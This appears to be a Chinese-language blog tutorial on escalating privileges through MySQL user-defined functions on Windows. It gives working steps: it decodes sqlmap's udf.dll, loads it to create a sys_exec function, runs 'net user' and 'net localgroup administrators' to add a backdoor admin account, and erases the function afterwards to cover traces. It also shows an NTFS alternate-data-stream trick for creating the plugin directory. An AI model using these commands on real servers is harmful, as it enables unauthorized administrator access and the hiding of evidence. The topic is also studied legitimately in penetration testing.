提权的前提
- mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
- mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
-
版本大于5.1的udf.dll放到mysql安装目录的lib\plugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建lib\plugin文件夹,然后将udf.dll导出到这个目录。
1.jpg
- udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows下边有32和64两种,这里的位数是mysql的位数,并不是对方系统的位数
-
sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py
2.jpg
- 解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件
- 将dll文件复制到mysql的/lib/plugin目录下
- 执行sql语句
create function cmdshell returns string soname "lib_mysqludf_sys.dll";
-
出现一个错误
3.jpg
-
需要创建udf中存在的函数才可以,可以用十六进制编辑器打开udf.dll,看一下有哪些函数可以创建
4.jpg
- 就是这些了,我们可以使用sys_exec函数
create function sys_exec returns string soname "lib_mysqludf_sys.dll";
![](https://img.haomeiwen.com/i17716535/ac54e5b0f6be622f.jpg)
- 可以正常执行命令了,添加用户
select sys_exec('net user waitalone waitalone.cn /add');
![](https://img.haomeiwen.com/i17716535/95e66f0c7558ee13.jpg)
select sys_exec('net localgroup administrators waitalone /add');
![](https://img.haomeiwen.com/i17716535/68029f207c5154a5.jpg)
-
查看是否添加成功
8.jpg
- 到此就完成了,下边删除使用的函数
drop function sys_exec;
![](https://img.haomeiwen.com/i17716535/0a4ba42877d5799d.jpg)
delete from mysql.func where name='sys_exec'
![](https://img.haomeiwen.com/i17716535/d8e018d562a0ecc8.jpg)
- 还有一种创建plugin文件夹的方式(我没成功过,有缘的小伙伴可能会成功)
select @@basedir;
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
- 执行成功以后再进行导出即可
网友评论